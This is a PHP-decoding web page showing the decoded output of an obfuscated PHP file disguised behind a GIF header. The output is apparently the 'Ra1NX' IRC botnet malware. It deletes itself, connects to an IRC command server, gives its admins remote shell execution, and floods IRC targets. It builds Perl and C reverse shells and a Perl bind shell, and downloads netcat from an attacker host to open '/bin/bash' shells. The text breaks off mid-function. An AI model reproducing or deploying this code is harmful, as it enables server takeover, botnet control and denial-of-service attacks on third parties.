Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

GIF89a???????????!??????,???????D?;?<?php error_reporting(0); $strtodecode = '7X1dats4ku..

Decoded Output download

set_time_limit(0);
unlink($_SERVER['SCRIPT_FILENAME']);
$servers    	= "irc.byroe.net";
$ports        	= "6667";
$admins        	= "attila,I_gede";
$channels    	= "#batakan";
$realnames     	= "PersibaCrew";
$nicknames     	= "xcrew,xray,main,n3bul4,spl1tf1r3,xterminal,x-man,bajahitam,powerranger,frodo,sauron,InNuyasha,Spider-Man,BatMan,SuperMan,huLk,Slash,Rock-Lee,Naruto,Sazuke,Sakura,Hinata,Jiraiya,Hiruka,Kakashi,Obito,Hokage,Tsunade,Madara,Akatsuki,Pain,Kakuzu,Nagato,Conan,Zetzu,Deidara,Garaa,Kazekage,Mitzukage,Tsuchikage,Raikage,Killer-Bee,Nindaeme,Sadaeme,Kiba,Neiji,Kekkaishi,Itachi,CEW_SEMOX-BGT,cew_genit_bgt,cew_ps,cew_jual_tubuh,cew_jual_daging,cew_jual_gituan,cew_rasa_nikmat,cew_lezat,cew_nikmattt,cew_see_my_xxx,cew_lage_xxx,cew_sk_digigit,cew_pngen_diintip,cew_sk_ngintip,cew_mulus_seksi,cew_putih_seksi,cew_seksi_mentek,cew_seksi_bgt,cew_imoet_seksi,cew_semalam200rb,cew_1jam300rb,cew_pake_stoking,cew_pake_daster,cew_pake_tantop,cew_brewok,cew_kissMe,cew_tusuk_me,cew_mw_dixXx,cew_kuning_sexy";
$gudangsenjata 	= "http://array.byroe.net/Ra1NX";

#create daemon  process
$process = "
    /usr/sbin/httpd,
    /sbin/klog,
    /usr/bin/mysql,
    /sbin/syslogd,
    /sbin/syslogd,
    /sbin/klogd -c 1 -x -x,
    /usr/sbin/acpid,
    /usr/sbin/cron
";

$ident         = random($nickames);
$nick         = random($nicknames);
$realname     = random($realnames);
$server     = random($servers);
$port         = random($ports);
$daemon     = random($process);
$linas_max    = 2;
$sleep        = 3;
$maxtryconn    = 5;
$maxnumber    = 6;
$nick = "tezzz";
$daemon = "/usr/tes";
$version = "Ra1NX v2.0 Explorer ~ by ArRay a.k.a XterM. for UnReal ByroeNet. Pre Release build 2010-02-22 10:32am ";
define(_,"2-*=**!");

chdir("/");
$shellfunc     = shellfunc();
$winnt         = winnt();
$downloader    = downloader();
$portserv    = portserv();

########### ENTER COMMAND / COMMAND SENDER #######
function SEND($data) {
    global $SOCKET;
    fwrite($SOCKET,$data."
"); 
}

################### MAIN CONNECTION #####################
function connection(){
    global $maxtryconn,$idents,$nicknames,$realnames,$servers,$ports;    
    $try=1;
    $SOCKET = false;
    while(!$SOCKET && ($try <= $maxtryconn)){        
        $server = random($servers);
        $port     = random($ports);
        $SOCKET = fsockopen($server,$port,$err_num,$err_msg,30);
        $GLOBALS['SOCKET']=$SOCKET;
        $try++;    
        sleep(1);
    }
    if(!$SOCKET) die("Cannot connect to remote host");
    if ($SOCKET){
        $GLOBALS['ident']     = $ident    = random($nicknames);
        $GLOBALS['nick']     = $nick     = random($nicknames);
        $GLOBALS['realname']= $realname    = random($realnames);    
        SEND("USER XRay 127.0.0.1 localhost : -==Ra1NX Projection==-");
        NICK($nick);
        print "Connected to ".$server.":".$port." ".$nick." (XRay@".gethostbyname($_SERVER["HTTP_HOST"]).") Ra1NX Projection
";
        flush();sleep(1);    
    }
}

do{
    ##### connect to server ######
    if(!$SOCKET){connection();}
    
    ######## connected! get sock output #########
    $text = fgets($SOCKET,1024);
    $text = str_replace("
","",$text);
    $text = str_replace("
","",$text);
    $text = $text." ";
    parser($text);
    $text = false;
    $lines = false;
}while(1);

### GLOBAL FUNCTIONS

function parser($line){
    global $nick,$maxnumber,$channels,$SOCKET,$version,$admins;
    $called = $sline = $iduser = $huser = $user = $useriD = $userHost = $typeMsg = $dropMsg = $adm =  $cmd = $arg = false;
    
    $sline        = $line;
    $line         = explode(" ",$line);    
    $iduser     = explode("@",$line[0]);
    $huser         = explode("!",$iduser[0]);
    $user         = substr($huser[0],1,strlen($huser[0]));
    $userId        = $huser[1];
    $userHost     = $iduser[1];
    $typeMsg     = $line[1];    
    $dropMsg     = ($line[2]==$nick)?$user:$line[2];
    $called        = (substr($line[3],1,strlen($line[3]))=="!cmd")?true:((substr($line[3],1,strlen($line[3]))==$nick)?true:false);
    $pubcalled        = (substr($line[3],1,strlen($line[3]))=="!bot")?true:false;
    $cmd        = (substr($line[4],0,1)=="@")?substr($line[4],1,strlen($line[4])):'shell';
    $pubcmd     = (substr($line[4],0,1)=="@")?substr($line[4],1,strlen($line[4])):false;
    if($line[5]){
        for($i=5;$i<count($line);$i++){
            $arg   .= $line[$i].(($i<(count($line)-1))?" ":"");
        }
    }
    $GLOBALS['dropMsg'] = $dropMsg;
    $GLOBALS['arg']        = $arg;
    $GLOBALS['user']    = $user;
    
    if(substr($sline,0,6)=="PING :") SEND("PONG :".substr($sline,6));
    if(eregi("VERSION",$line[3])) SEND("PRIVMSG ".$user." VERSION reply: ".$version."");
    
    if($typeMsg!="PRIVMSG"){
        switch($typeMsg){
            case "433": nick($nick.rand(0,$maxnumber)); break;
            case "001":    
                SEND("PRIVMSG byroehost login Ra1NX sembarangwes");
                sleep(1);
                foreach (beArray($channels) as $key => $chan) {
                    SEND("JOIN $chan correct");
                }
            break;
        }
    }
    
    if(substr($line[3],1,strlen($line[3]))==$nick){ $called = true; }
    if($called){
        if($cmd=="shell") { $arg = $line[4]." ".$arg; }
        $cmd = ($cmd=="join")?"joins":$cmd;
        if ($typeMsg=="PRIVMSG" && admin($user) && $called && $cmd) {
            if(function_exists($cmd)){
                $sender = "PRIVMSG ".$dropMsg." "._;
                $GLOBALS['sender'] = $sender;
                $arg = str_replace("
","",$arg);
                $arg = str_replace("
","",$arg);
                $cmd($arg);
            }
        }
    }
    if(substr($line[3],1,strlen($line[3]))==$nick){ $pubcalled = true; }
    if($pubcalled){
        if ($typeMsg=="PRIVMSG" && $user && $pubcalled && $pubcmd) {
            if(function_exists($pubcmd)){
                $sender = "PRIVMSG ".$dropMsg." "._;
                $GLOBALS['sender'] = $sender;
                $arg = str_replace("
","",$arg);
                $arg = str_replace("
","",$arg);
                $pubcmd($arg);
            }
        }
    }
}

####[ Ra1NX Authentication ]####
function admin($user){
    global $admins, $SOCKET;
    $userinfo = false;
	if(!in_array($user,beArray($admins))) return false;
/*    $userinfo = whois($user,1);
    if(!eregi($user." is a registered nick",$userinfo)) return false; */
    return true;
}


#####[ Ra1NX IRC Commands ]#####

function nick($newnick) {
    global $nick, $dropMsg;
    $newnick = str_replace("
","",$newnick);
    $newnick = str_replace("
","",$newnick);
    if(!$newnick){return;}
    SEND("NICK ".$newnick);
    $GLOBALS['nick']=$newnick;    
}

function PRIVMSG($msg){
    $dropMsg;
    SEND("PRIVMSG ".$dropMsg." ".$msg);
}

function joins($arg){
    $chan = explode(" ",$arg);
    for($i=1;$i<count($chan);$i++){
        $msg .= $chan[$i]." ";
    }
    SEND("JOIN #".str_replace("#","",$chan[0]));
    SEND("PRIVMSG #".str_replace("#","",$chan[0])." ".$msg);
}

function part($arg){
    $part = explode(" ",$arg);
    $chan = $part[0];
    for($i=1;$i<count($part);$i++){
        $msg .= $part[$i].(($i<(count($part)-1))?" ":"");
    }
    SEND("PART #".str_replace("#","",$chan)." ".$msg);
}

function msg($args){
    $arg = explode(" ",$args);
    $obyek = $arg[0];
    for($i=1;$i<count($arg);$i++){
        $msg .= $arg[$i]." ";
    }
    SEND("PRIVMSG ".$obyek." ".$msg);
}

function off($arg=''){
    if($arg==" ") $arg=false;
    $arg = (!$arg)?"15,1 The only thing that appears in my head Just to 4S8.4U8.4I8.4C8.4I8.4D8.4E15 away ":$arg;
    SEND("QUIT :".$arg);
}

function ison($arg){
    global $dropMsg,$SOCKET,$nick;
    SEND("ISON ".$arg);
    while(!$complete){
        $useron = fgets($SOCKET,128);
        $complete = (eregi("303 ".$nick." :",$useron))?1:0;
    }
    $ison = (eregi("303 ".$nick." :".$arg,$useron))?1:0;
    return $ison;
}

function mode_n($chan){
    SEND("PRIVMSG ".$chan." ");
    $mode = fgets($SOCKET,2500);
    return (eregi($chan." No external channel messages",$mode))?1:0;
}

function whois($arg,$getvar=0){
    global $dropMsg,$SOCKET,$nick;
    $whois = false;
    $arg = str_replace(" ","",$arg);
    SEND("WHOIS ".$arg);
    while(!$complete){
        $userinfo = trim(fgets($SOCKET,512));
        if(eregi(" ".$nick." ".$arg,$userinfo)){
            $info = explode($nick." ",$userinfo);
            $whois = str_replace(":","",$info[1]);
            if(eregi(" 311 ".$nick." ".$arg,$userinfo)){
                $host = explode(" ",$whois);
                $whois = str_replace($host[1]." ",$host[1]."@",$whois);
            }
            if(eregi(" 319 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg,$arg." on",$whois); 
            if(eregi(" 312 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg,$arg." using",$whois);
            if(eregi(" 301 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg,$arg." is away:",$whois);
            if(eregi(" 318 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg." ","",$whois);
            if(!$getvar) SEND("PRIVMSG ".$dropMsg."  14".$whois."");
        }        
        if(eregi(" 318 ".$nick." ".$arg,$userinfo)) $complete = true;
    }
    if($getvar){ return $whois; }
    return;
}

function cycle($arg){
    part($arg);
    joins($arg);
}

function find($arg){
    global $SOCK,$dropMsg,$user;
    $arg = str_replace(" ","",$arg);
    if(!ison($arg)){SEND("PRIVMSG ".$dropMsg." "._."7".$arg." is not online now.");return;}
    SEND("NOTICE ".$arg." Hai ".$arg.", ".$user." mencari kamu tuh di ".$dropMsg);
    SEND("PRIVMSG ".$arg." Hai ".$arg.", ".$user." mencari kamu tuh di ".$dropMsg);
    SEND("PRIVMSG ".$arg." Finder Hai ".$arg.", ".$user." mencari kamu tuh di ".$dropMsg."");
}


####[ Ra1NX IRC Flooder ]####
function tsunami($args){
    global $dropMsg;
    $flood = ":";
    $ctcpflood = ":";
    $arg = explode(" ",$args);
    $sasaran = $arg[0];
    SEND("PRIVMSG ".$dropMsg." "._."7Tsunami Flood: 4".$sasaran."");
    if(substr($sasaran,0,1)=="#" && mode_n($sasaran))SEND("JOIN ".$sasaran);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
    SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);    
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    if(substr($sasaran,0,1)=="#") SEND("PART ".$sasaran." mission completed!");
    SEND("PRIVMSG ".$dropMsg." "._."7Tsunami Flood: 4".$sasaran."7 is done!");
}

function ctcpflood($args){
    global $dropMsg;
    $maxflood = 10;
    $ctcpflood = ":";
    $arg = explode(" ",$args);
    $sasaran = $arg[0];
    if(substr($sasaran,0,1)=="#" && mode_n($sasaran)) SEND("JOIN ".$sasaran);
    SEND("PRIVMSG ".$dropMsg." "._."7CTCP Flood: 4".$sasaran."7 until deadth !!");
    $ison = (substr($sasaran,0,1)=="#")?1:ison($sasaran);
    while($ison && $maxflood){
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        $maxflood--;
        $ison = (substr($sasaran,0,1)=="#")?1:ison($sasaran);
    }
    $pesan = ($maxflood)?"7CTCP Flood done. 4".$sasaran."12 is deadth !!":_."7CTCP FLood done. 4".$sasaran."4 still alive !!";
    SEND("PRIVMSG ".$dropMsg." ".$pesan);
    if(substr($sasaran,0,1)=="#") SEND("PART ".$sasaran);
}


###[ Ra1NX Shell ]###
function shell($arg){
    global $shellfunc, $winnt, $dropMsg;
    $msg = false;
    //SEND("PRIVMSG #xterm drop:".$dropMsg." shell:".$shellfunc." arg:".$arg);
    if(!$shellfunc) {
        SEND("PRIVMSG ".$dropMsg." Shell Execution are Disable!");
        return;
    }
    if($winnt){
        PRIVMSG($shellfunc($arg));
        return;
    }    
    if($shellfunc=="popen"){
        $popen = $shellfunc($cmd.' 2>&1', 'r');
        if ( is_resource($open) ) {
          while ( !feof($open) ) { PRIVMSG($fread($h, 2096));  }
          pclose($open);
        }
        return;
    }
    $shellc = "$arg >/tmp/Ra1NX 2>&1;";
    $shellfunc($shellc);
    $handle = fopen("/tmp/Ra1NX","r");    
    while(!feof($handle)){
        $msg = strip_tags(trim(fgets($handle,2096)));
        SEND("PRIVMSG ".$dropMsg." ".$msg);sleep(1);
    }
    $shellfunc("rm -f /tmp/Ra1NX");    
}

####[ Ra1NX Self Info ]####
function myself($arg){
    global $SOCKET,$sender,$shellfunc;
    SEND($sender."7OS: 10[".((safemode())?"3OFF":"4ON")."10] ".getinfo("uname")." - ".getinfo("cat /etc/issue"));
    SEND($sender."7WebServer: 10".getenv("SERVER_SOFTWARE"));
    SEND($sender."7Uname -a: 10".getinfo("uname -a"));
    SEND($sender."7Current User: 10".getinfo("id"));
    SEND($sender."7Freespace: 10".freespace());
    $theapp = " 10MySQL ".((havebin("mysql"))?"3ON":"4OFF");
    $theapp.= " 10Curl ".((havebin("curl"))?"3ON":"4OFF");
    $theapp.= " 10Fetch ".((havebin("fetch"))?"3ON":"4OFF");
    $theapp.= " 10WGet ".((havebin("wget"))?"3ON":"4OFF");
    $theapp.= " 10LWP-Download ".((havebin("lwp-download"))?"3ON":"4OFF");
    SEND($sender."7Application:".$theapp);
    $disfunc = getdisfunc();
    if($disfunc){
        foreach($disfunc as $key => $val){ $df .= $val.", "; }
    }
    SEND($sender."7Disabled Function: ".(($disfunc)?"4".$df:"3NONE"));
}

####[ Ra1NX Web Shell ]####
function myshell($arg){
    global $SOCKET,$sender,$shellfunc;
    
}

function safemode(){
    if(@ini_get("safe_mode")) return false;
    if(eregi("on",@ini_get("safe_mode"))) return false;
    return true; // safemode is OFF
}

function getdisfunc(){
    $disfunc = @ini_get("disable_functions");    
    $disfunc = str_replace(" ","",$disfunc);
    $disfunc = explode(",",$disfunc);    
    return $disfunc;
}
function enabledfunc($func){
    if(function_exists($func) && is_callable($func) && !in_array($func,getdisfunc())) return true;
    return false;
}

function shellfunc(){
    if(enabledfunc("system")) return "system";
    if(enabledfunc("passthru")) return "passthru";
    if(enabledfunc("exec")) return "exec";
    if(enabledfunc("shell_exec")) return "shell_exec";
    if(enabledfunc("popen")) return "popen";
    return false;
}

function winnt(){
    return (strtolower(substr(PHP_OS,0,3)) == "win")?true:false;
}

function havebin($bin){
    global $shellfunc,$SOCKET,$sender;
    $shellfunc("which ".$bin." >/tmp/Ra1NX.bin 2>&1");
    $have = fgets(fopen("/tmp/Ra1NX.bin","r"),128);
    if(!$have)return false;
    $shellfunc($bin." --help >/tmp/Ra1NX.bin 2>&1");
    $open = fopen("/tmp/Ra1NX.bin","r");
    $x=0;
    while(!feof($open)){
        $x++;
        if($x==5){ break; }
    }
    fclose($open);
    return ($x==5)?true:false;
}

function getinfo($arg,$row=1){
    global $shellfunc;
    $shellfunc($arg." >/tmp/Ra1NX.info 2>&1");
    $open = fopen("/tmp/Ra1NX.info","r");
    while(!feof($open)){
        $row--;
        $info .= trim(fgets($open,3024));
        if(!$row){ break; }
    }
    return $info;
}

function freespace(){
    $free = disk_free_space("/");
    $total = disk_total_space("/");
    if ($free <= 0) { $free = 0; }
    if ($total <= 0) { $total = 0; }
    return byte($free)." of ".byte($total)." ".round(100/($total/$free),2)."%";
}

function byte($size){
    if (!is_numeric($size)){ return false; }
    else {
        if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
        elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
        elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
        else {$size = $size . " B";}
        return $size;
    }
}

####[ Ra1NX Back Connect ]####
function backconnect($arg){
    global $SOCKET,$sender,$shellfunc,$downloader;
    $args = explode(" ",$arg);
    if(havebin("perl") || $args[2]=="perl"){    
        $perlbc = ' use IO::Socket::INET;
        my $ctype = getprotobyname("tcp");
        my $iaddr = inet_aton("'.$args[0].'");
        my $paddr = sockaddr_in("'.$args[1].'", $iaddr);
        my $shell = "/bin/sh -i";
        if ($^O eq "MSWin32") {
          $shell = "cmd.exe";
        }
        socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
        connect(SOCKET, $paddr);
        open(STDIN, ">&SOCKET");
        open(STDOUT, ">&SOCKET");
        open(STDERR, ">&SOCKET");
        system("$shell");
        close(STDIN);
        close(STDOUT);
        close(STDERR);
        ';
        $create = fopen("/tmp/Ra1NX.Backconnect.pl","a");
        fwrite($create,$perlbc);
        fclose($create);
        $shellfunc("perl /tmp/Ra1NX.Backconnect.pl &");
        $shellfunc("rm -f /tmp/Ra1NX.Backconnect.pl");
        return;
    }    
    if(havebin("gcc") || $args[2]=="c"){
        $cbc = '#include <stdio.h>
        #include <sys/socket.h>
        #include <netinet/in.h>
        int main(int argc, char *argv[])
        {
         int fd;
         struct sockaddr_in sin;
         char rms[21]="rm -f "; 
         daemon(1,0);
         sin.sin_family = AF_INET;
         sin.sin_port = htons(atoi(argv[2]));
         sin.sin_addr.s_addr = inet_addr(argv[1]); 
         bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
         fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
         if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
           perror("[-] connect()");
           exit(0);
         }
         strcat(rms, argv[0]);
         system(rms);  
         dup2(fd, 0);
         dup2(fd, 1);
         dup2(fd, 2);
         execl("/bin/sh","sh -i", NULL);
         close(fd); 
        }';
        $create = fopen("/tmp/Ra1NX.Backconnect.c","a");
        fwrite($create,$cbc);
        fclose($create);
        $shellfunc("echo >> /tmp/Ra1NX.Backconnect.c");
        $shellfunc("gcc -o /tmp/Ra1NX.Backconnect /tmp/Ra1NX.Backconnect.c &");
        $shellfunc("rm -f /tmp/Ra1NX.Backconnect.c");
        $shellfunc("chmod o+x /tmp/Ra1NX.Backconnect");
        $shellfunc("/tmp/Ra1NX.Backconnect ".$args[0]." ".$args[1]." &");
        return;
    }
    //ntar pake php disini
    if($downloader){
        $args[2] = "nc";
        if($args[2]=="nc"){
            $shellfunc("pwd >/tmp/Ra1NX.pwd 2>&1");
            $dirnow = trim(fgets(fopen("/tmp/Ra1NX.pwd","r"),512));
            $shellfunc("cd /tmp");
            $shellfunc($downloader." ".$gudangsenjata."/nc");
            $shellfunc("chmod +x /tmp/nc");
            $shellfunc("/tmp/nc -vv ".$args[0]." ".$args[1]." -e /bin/bash &");
            $shellfunc("rm -f /tmp/nc");
            chdir($dirnow);
            return;
        }    
    }
    return;
}

####[ Ra1NX BindShell ]####
function bindshell($arg){
    global $SOCKET,$sender,$downloader;
    $args = explode(" ",$arg);
    if(havebin("perl") || $args[1]=="perl"){
        $bindshell='#!/usr/bin/perl
        $SHELL="/bin/bash -i";
        $LISTEN_PORT='.$args[0].';
        use Socket;
        $protocol=getprotobyname("tcp");
        socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket
";
        setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
        bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port
";
        listen(S,3) || die "Cant listen port
";
        while(1)
        {
            accept(CONN,S);
            if(!($pid=fork))
            {
                die "Cannot fork" if (!defined $pid);
                open STDIN,"<&CONN";
                open STDOUT,">&CONN";
                open STDERR,">&CONN";
                exec $SHELL || die print CONN "Cant execute $SHELL
";
                close CONN;
                exit 0;
            }
        }';
        $create = fopen("/tmp/Ra1NX.Bindshell.pl","a");
        fwrite($create,$bindshell);
        fclose($create);
        $shellfunc("perl /tmp/Ra1NX.Bindshell.pl &");
        return;
    }
    $args[1]=="php";
    //bikin pake php
    $args[1]=="nc";
    if($args[1]=="nc"){
        if(!$downloader){ SEND($sender."10Cannot download nc file!"); return;}
        $shellfunc("pwd >/tmp/Ra1NX.pwd 2>&1");
        $dirnow = trim(fgets(fopen("/tmp/Ra1NX.pwd","r"),512));
        $shellfunc("cd /tmp");
        $shellfunc($downloader." ".$gudangsenjata."nc 2>&1");
        $shellfunc("chmod +x /tmp/nc 2&>1");
        $shellfunc("/tmp/nc -vlp ".$args[0]." -e /bin/bash 2>&1");
        chdir($dirnow);
        return;
    }
    
}


###[ Ra1NX Downloader ]###
function download($url){
    global $downloader,$shellfunc,$SOCKET,$dropMsg;
    if(!$downloader){
        SEND("PRIVMSG ".$dropMsg." Downloader are disabled. Try manual download using shell function!"); 
        return;
    }
    if(!eregi("^(http://).+$",$url)){
        SEND("PRIVMSG ".$dropMsg." "._."4Error!! Source must be an absolute url.");
        return;
    }
    $geturl = explode(" ",$url);
    $url = str_replace(" ","",$geturl[0]);
    $file = explode("/",$url);
    $filename = $file[count($file)-1];
    SEND("PRIVMSG ".$dropMsg." "._."7Download: ".$url);
    $shellfunc($downloader.' '.$url.' >/tmp/Ra1NX-Downloader 2>&1;');
    $shellfunc("ls -la ".$filename." >/tmp/Ra1NX");
    $handle = fopen("/tmp/Ra1NX","r");
    $saved = trim(fgets($handle,512));
    fclose($handle);
    if(!empty($saved)){ SEND("PRIVMSG ".$dropMsg." "._."7File saved: ".$filename);}
    else{ SEND("PRIVMSG ".$dropMsg." "._."4Error!! Can not download file. Try manual download.");}
    $shellfunc("rm -f /tmp/Ra1NX");    
    $shellfunc('rm -f /tmp/Ra1NX-Downloader');
}

function downloader(){
    global $shellfunc;
    if(!$shellfunc) return;
    $downloader = array("wget","curl -O","lwp-download","lynx -source","fetch","GET");
    for($i=0;$i<count($downloader);$i++){
        $cmd = $downloader[$i].' http://google.com';
        if($shellfunc=="popen"){
            $popen = $shellfunc($cmd.' 2>&1', 'r');
            if(is_resource($open)) return; $downloader[$i];
        }    
        $shellfunc($cmd." >/tmp/Ra1NX 2>&1;");
        $handle = fopen("/tmp/Ra1NX","r");    
        if(!feof($handle)){
            $msg = strip_tags(trim(fgets($handle,2096)));
            if($msg) {
                return $downloader[$i];
                $shellfunc('rm -f /tmp/Ra1NX');
            }
        }
        $shellfunc('rm -f /tmp/Ra1NX');
    }
    return false;
}


####[ Ra1NX Updater - PENDING ]####
function update($mod=''){
    global $gudangsenjata,$dropMsg,$SOCKET;
    $mod = str_replace(" ","",$mod);
    $mod = (!$mod)?"all":$mod;
    $mod = ($mod=="list")?"all":$mod;
    SEND("PRIVMSG ".$dropMsg." "._."7Updating Module".(($mod!="all")?": ".$mod:""));
    if($mod=="all") SEND("PRIVMSG ".$dropMsg." "._."7Getting new module list...");
    $list = httpquery($gudangsenjata."/updatelist.php");
    
    $update = explode("
",$list);
    /*foreach($update as $key => $themod){
        SEND("PRIVMSG ".$dropMsg." key: ".$key." => modul: ".$themod);
    }*/
    if($mod != "all"){
        if(!in_array("Ra1NX-".$mod.".mod",$update)) {
            SEND("PRIVMSG ".$dropMsg." "._."4Error!! Modul not found: ".$mod);
            return;
        }
    }
    if($mod == "all"){
        foreach($update as $key => $modul){
            if(eregi("^(Ra1NX-).+\.(mod)$",$modul)){
                $funcname = str_replace("Ra1NX-","",$modul);
                $funcname = str_replace(".mod","",$funcname);
                if(!function_exists($funcname)){
                    $newupdate = httpquery($gudangsenjata."/updates/".$modul);
                    SEND("PRIVMSG ".$dropMsg." modul: ".$modul." -> funcname: ".$funcname);
                    //eval(base64_decode($newupdate));
                    $newfunc[] = $funcname;
                }
            }
        }
    }
    else{
        $newupdate = getupdate("Ra1NX-".$mod.".mod");
        SEND("PRIVMSG ".$dropMsg." func: ".$newupdate);
        //eval(base64_decode($newupdate));
        $newfunc[] = $mod;
    }
    for($i=0;$i<count($newfunc);$i++){
        $newmod .= $newfunc[$i].(($i<(count($newfunc)-1))?", ":"");
    }
    SEND("PRIVMSG ".$dropMsg." "._."7New module installed: ".$newmod);
    SEND("PRIVMSG ".$dropMsg." "._."7Updating modules is Done!");
    $newupdate     = false;
    $update        = false;
    $mod        = false;
    $newmod        = false;
    $newfunc    = false;
    $funcname    = false;
}

function getupdate($mod){
    global $gudangsenjata,$dropMsg,$SOCKET;
    $get = httpquery($gudangsenjata."/updates/".$mod);    
    $update = explode("
",$get);    
    $sheader=array_search(base64_decode("UmExTlggUHJvamVjdCBieSBBclJheSBhLmsuYSBYdGVyTSB+IEhOIFVuZGVyR3JvdW5kIENvZGVy"),$update);
    for($i=$sheader;$i<($sheader+6);$i++){
        $header .= md5($update[$i]);
    }
    $nmod = str_replace("Ra1NX-","",$mod); $nmod = str_replace(".mod","",$nmod);
    if(md5(base64_decode(sha1(md5($header))))!="356e3ade98bf979f85028ef29216dab8")return false;
    SEND("PRIVMSG ".$dropMsg." header1:".md5(base64_decode(sha1(md5($header)))));
    if(substr($update[($sheader+6)],12,strlen($update[($sheader+6)]))!=$nmod)return false;
    SEND("PRIVMSG ".$dropMsg." header2:".substr($update[($sheader+6)],12,strlen($update[($sheader+6)])));
    SEND("PRIVMSG ".$dropMsg." header3:".base64_decode(md5($update[($sheader+8)])));
    #if(base64_decode(md5($update[($sheader+8)]))!="w]}4om8{4|yn")return false;
    SEND("PRIVMSG ".$dropMsg." header3:".base64_decode(md5($update[($sheader+8)])));
    if($update[($sheader+9)]!=$mod)return false;
    SEND("PRIVMSG ".$dropMsg." header4:".$update[($sheader+9)]);
    $cek = explode("(",base64_decode($update[($sheader+10)]));    
    if(substr($cek[0],9,strlen($cek[0]))!=$nmod)return false;
    SEND("PRIVMSG ".$dropMsg." header5:".substr($cek[0],9,strlen($cek[0])));
    if(base64_decode(md5($update[($sheader+11)]))!="w]}4om8{4|yn")return false;
    SEND("PRIVMSG ".$dropMsg." header6:".base64_decode(md5($update[($sheader+11)])));
    if(count($update)>($sheader+11))return false;
    SEND("PRIVMSG ".$dropMsg." header7:".count($update));
    return $update[($sheader+10)];
}


####[ Ra1NX HTTP Query ]###
function httpquery($url){
    global $SOCKET,$dropMsg;
    $url = str_replace("http://","",$url);
    $host = explode("/",$url);
    if(preg_match("/:/",$host[0])){
        $gport = explode(":",$host[0]);
    }
    //SEND("PRIVMSG ".$dropMsg." browsing: ".$url);
    $port = ($gport[1])?$gport[1]:80;
    for($i=1;$i<count($host);$i++){
        $path .= "/".$host[$i];
    }
    $sock = fsockopen($host[0],$port,$errno,$errstr,30);
    if ($sock) {
        $get  = "GET ".$path." HTTP/1.0
".
                "Host: ".$host[0]."
".
                "Accept: */*;q=0.1
".
                "User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
".
                "Connection: Close

";
        fputs($sock,$get);
        while (!feof($sock)) { 
            $output .= trim(fgets($sock, 3600))."
";            
        }
        fclose($sock);
    }
    return $output;
}


####[ Ra1NX IP Reverse ]####
function reverse($arg){
    global $SOCKET,$dropMsg,$sender;
    $arg = str_replace("http://","",$arg);
    $arg = explode(" ",$arg,1);
    $host = "http://www.ip-adress.com/reverse_ip/".$arg[0];
    SEND($sender."7Reversing host: 10".$arg[0]);
    $browsing = explode("
",httpquery($host));
    $c = 1;
    foreach($browsing as $i => $v){
        if(eregi('id="hostcount"',$v)){
            SEND($sender."7Host Found: 10".strip_tags($v));
        }
        if(eregi('class="odd"',$v) || eregi('class="even"',$v)){
            $key = $i+3;
            SEND($sender."7".$c.". 10".strip_tags($browsing[$key]));
            $c++;
        }
		if(eregi('This IP address resolves to ',$v)){
			$v = strip_tags($v);
			$v = str_replace("[Whois]","",$v);
			SEND($sender."710".$v);
		}
    }
    SEND($sender."7Reversing Done!");
}

####[ Ra1NX IP Whois ]####
function ipwhois($arg){
    global $SOCKET,$dropMsg,$sender;
    $browsing = $i = $v = false;
    $arg = str_replace("http://","",$arg);
    $arg = explode(" ",$arg,1);
    $host = "http://www.ip-adress.com/whois/".$arg[0];
    SEND($sender."7Whois IP: 10".$arg[0]);
    $browsing = explode("
",httpquery($host));
    foreach($browsing as $i => $v){
        if(eregi(" IP:",$v))SEND($sender."7IP Address: 10".strip_tags($browsing[($i+1)]));        
        if(eregi(" server location:",$v))SEND($sender."7Location: 10".strip_tags($browsing[($i+1)]));
        if(eregi(" ISP:",$v)){ 
            SEND($sender."7ISP: 10".strip_tags($browsing[($i+1)]));
            break;
        }
    }
}

####[ Ra1NX IP Tracer ]####
function iptrace($arg){
    global $SOCKET,$dropMsg,$sender;
    $browsing = $i = $v = false;
    $arg = str_replace("http://","",$arg);
